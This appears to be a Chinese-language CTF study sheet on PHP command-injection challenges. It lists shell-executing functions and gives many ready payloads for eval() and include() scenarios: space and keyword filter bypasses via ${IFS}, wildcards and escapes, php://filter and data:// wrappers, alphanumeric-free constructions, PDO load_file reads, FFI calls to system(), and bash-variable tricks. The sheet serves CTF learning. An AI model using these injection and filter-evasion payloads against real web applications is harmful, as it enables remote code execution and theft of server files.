預備知識
相關命令:
system();
shell_exec();
exec();
passthru();
popen();
proc_open();
linux命令分隔符:
; //用分號分隔的命令會按順序執(zhí)行,即使中間命令使用方式不對,會有相關錯誤輸出,后面的命令照樣會執(zhí)行。
&& //同C、C++語言邏輯運算符"&&"類似,遇到首個命令執(zhí)行失敗后,后面的命令不會執(zhí)行。
|| //同C、C++語言邏輯運算符"||"類似,遇到首個命令執(zhí)行成功后,后面的命令不會執(zhí)行。
shell的一些讀取命令:
more:一頁一頁的顯示檔案內容
less:與 more 類似
head:查看頭幾行
tac:從最后一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:查看尾幾行
nl:顯示的時候,順便輸出行號
od:以二進制的方式讀取檔案內容
vi:一種編輯器,這個也可以查看
vim:一種編輯器,這個也可以查看
sort:可以查看
uniq:可以查看
file -f:報錯出具體內容
grep:在當前目錄中,查找后綴有 file 字樣的文件中包含 test 字符串的文件,并打印出該字符串的行。此時,可以使用如下命令:
grep test *file
strings:用于打印文件中可打印字符串
${IFS}
Shell 的環(huán)境變量分為 set, env 兩種,其中 set 變量可以通過 export 工具導入到 env 變量中。其中,set 是顯示設置shell變量,僅在本 shell 中有效;env 是顯示設置用戶環(huán)境變量 ,僅在當前會話中有效。換句話說,set 變量里包含了 env 變量,但 set 變量不一定都是 env 變量。這兩種變量不同之處在于變量的作用域不同。顯然,env 變量的作用域要大些,它可以在 subshell 中使用。
而 IFS 是一種 set 變量,當 shell 處理"命令替換"和"參數替換"時,shell 根據 IFS 的值,默認是 space, tab, newline 來拆解讀入的變量,然后對特殊字符進行處理,最后重新組合賦值給該變量。
使用方法:
/?c=ta\c${IFS}fla\g.php||
php中讀文件(主要用于eval($c);的場景):
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代碼
include_once($filename); // 非php代碼
require($filename); // 非php代碼
require_once($filename); // 非php代碼
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 讀取一行
fpassthru(fopen($filename, "r")); // 從當前位置一直讀取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 從文件指針中讀取一行并過濾掉 HTML 標記
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失敗時返回 false , 成功返回配置數組
php中讀目錄:
glob://用于查找匹配的文件路徑模式。
print_r(glob("*")); // 列當前目錄
print_r(glob("/*")); // 列根目錄
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
或者:
$a="glob:// /*.txt"; //glob:///*.txt應該連起來寫,中間空了一下只是方便理解
if($b=opendir($a)){
while(($file=readdir($b))!==false){
echo "filename:".$file."\n";
}
closedir($b);
}
exit();
一些和命令執(zhí)行有關的設置:
open_basedir:將PHP所能打開的文件限制在指定的目錄樹中,包括文件本身。當程序要使用例如fopen()或file_get_contents()打開一個文件時,這個文件的位置將會被檢查。當文件在指定的目錄樹之外,程序將拒絕打開。繞過可以使用UAF(User After Free)。
disable_functions:用于禁止某些函數,也就是黑名單,簡單來說就是php為了防止某些危險函數執(zhí)行給出的配置項,默認情況下為空。
ini_set()用于設置指定配置選項的值。這個選項會在腳本運行時保持新的值,并在腳本結束時恢復。但是這題也給ban了。
命令執(zhí)行
場景類似于:
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
然后進行命令執(zhí)行:
//通過system
/?c=system("tac fla?.php");
或者通過反引號:
/?c=echo `tac *`;
那么自然對輸入的參數是有過濾的,比如說:
1.過濾了空格
使用%09、%0a繞過
參數逃逸/?c=eval($_GET[1]);&1=system("cat%20flag.php");
如果是對于shell命令過濾了空格,還可以使用<>、<、${IFS}進行繞過:
/?c=tac<>fla\g.php||
/?c=nl<fla"g.php||
這里可以看到,如果flag被過濾了,可以加一個\分隔。
2.過濾了()和;
使用文件包含:
/?c=require%0a$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php
?>直接閉合了php,后面就不是php代碼了
這里提一下,php總比較常用的可以不加括號的函數有:echo、print、isset、unset、include、require。
3.基于get_defined_vars
get_defined_vars — 返回由所有已定義變量所組成的數組
/?c=eval(array_pop(next(get_defined_vars())));
//POST數據
1=system("tac fla?.php");
4.基于localeconv
/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
show_source() 函數對文件進行語法高亮顯示,本函數是highlight_file()的別名。
scandir() 函數返回指定目錄中的文件和目錄的數組
之前是在eval()的基礎上進行命令執(zhí)行,接下來換個例子,在include()基礎上進行命令執(zhí)行。
場景如下:
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
使用data偽協(xié)議去執(zhí)行php代碼進而進行命令執(zhí)行:
/?c=data://text/plain,<?php system("tac fla?.php");?>
/?c=data:text/plain,<?=system("tac fla*");?>
騷操作
1.數字和字母都被過濾了
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
字母數字都過濾了,不過或|符號沒有過濾
參考:https://blog.csdn.net/miuzzx/article/details/108569080
就是使用或運算,把沒有被過濾的字符變?yōu)樾枰淖址?/p>
2.shell中繞過關鍵字
比如flag關鍵字被ban了,可以:
使用通配符
使用一些間隔符:
/?c=tac<>fla\g.php||
/?c=nl<fla"g.php||
3.所有顯示的命令都被ban了
還可以使用mv命令:
mv命令用來為文件或目錄改名、或將文件或目錄移入其它位置。
/?c=mv${IFS}fl?g.php${IFS}a.txt
再訪問/a.txt即可。
4.shell中構造數字
這一題需要我們構造36出來,因為是在shell環(huán)境下的,所以需要使用linux shell的一些特性:
$(()) 代表做一次運算,因為里面為空,也表示值為0
$((~$(()))) 對0作取反運算,值為-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)為-2,所以值為-2
$((~$(($((~$(())))$((~$(())))))))再對-2做一次取反得到1,所以值為1
如果對取反不了解可以百度一下,這里給個容易記得式子,如果對a按位取反,則得到的結果為-(a+1),也就是對0取反得到-1
那么最后只需要37個-1相加再取反即可。
寫個腳本生成payload:
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)
5.代碼執(zhí)行時想include()但是被ban了
可以使用一些可使用的進程去讀取flag。這里使用PDO(PHP Database Object)去執(zhí)行sql語句進而讀出flag,payload如下:
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
6.FFI
FFI參考
場景是這樣的,通過目錄讀取發(fā)現:

readflag是專門用來讀flag的。
PHP的FFI擴展就是一個讓你在PHP里調用C代碼的技術。
$ffi = FFI::cdef("int system(const char *command);");//創(chuàng)建一個system對象
$a='/readflag > 1.txt';//沒有回顯的
$ffi->system($a);//通過$ffi去調用system函數
7.使用bash內置變量去構造命令
┌──(root??kali)-[~]
└─# echo ${PWD}
/root
┌──(root??kali)-[~]
└─# echo ${PWD:0:1} #表示從0下標開始的第一個字符
/
┌──(root??kali)-[~]
└─# echo ${PWD:~0:1} #從結尾開始往前的第一個字符
t
┌──(root??kali)-[~]
└─# echo ${PWD:~0}
t
┌──(root??kali)-[~]
└─# echo ${PWD:~A} #所以字母和0具有同樣作用
t
┌──(root??kali)-[~]
└─# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
┌──(root??kali)-[~]
└─# echo ${PATH:~A}
n
┌──(root??kali)-[~]
└─# ls
Desktop Documents Downloads flag.txt Music Pictures Public Templates Videos
┌──(root??kali)-[~]
└─# ${PATH:~A}l flag.txt
1 flag{test}
SHLVL 是記錄多個 Bash 進程實例嵌套深度的累加器,進程第一次打開shell時${SHLVL}=1,然后在此shell中再打開一個shell時$SHLVL=2。
${SHLVL} //一般是一個個位數
${#SHLVL} //1,表示結果的字符長度
${PWD:${#}:${#SHLVL}} //表示/
${USER} //www-data
${PHP_VERSION:~A} //2
${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} //at
${#IFS}在ubuntu等系統(tǒng)中值為3,在kali中測試值為4
${#}為添加到shell的參數個數,${##}則為值,好像是1?
$?表示上次命令的執(zhí)行返回碼,0表示正常,其他都是不正常。當然具體的命令有不同的返回碼。所以${#?}大概率為1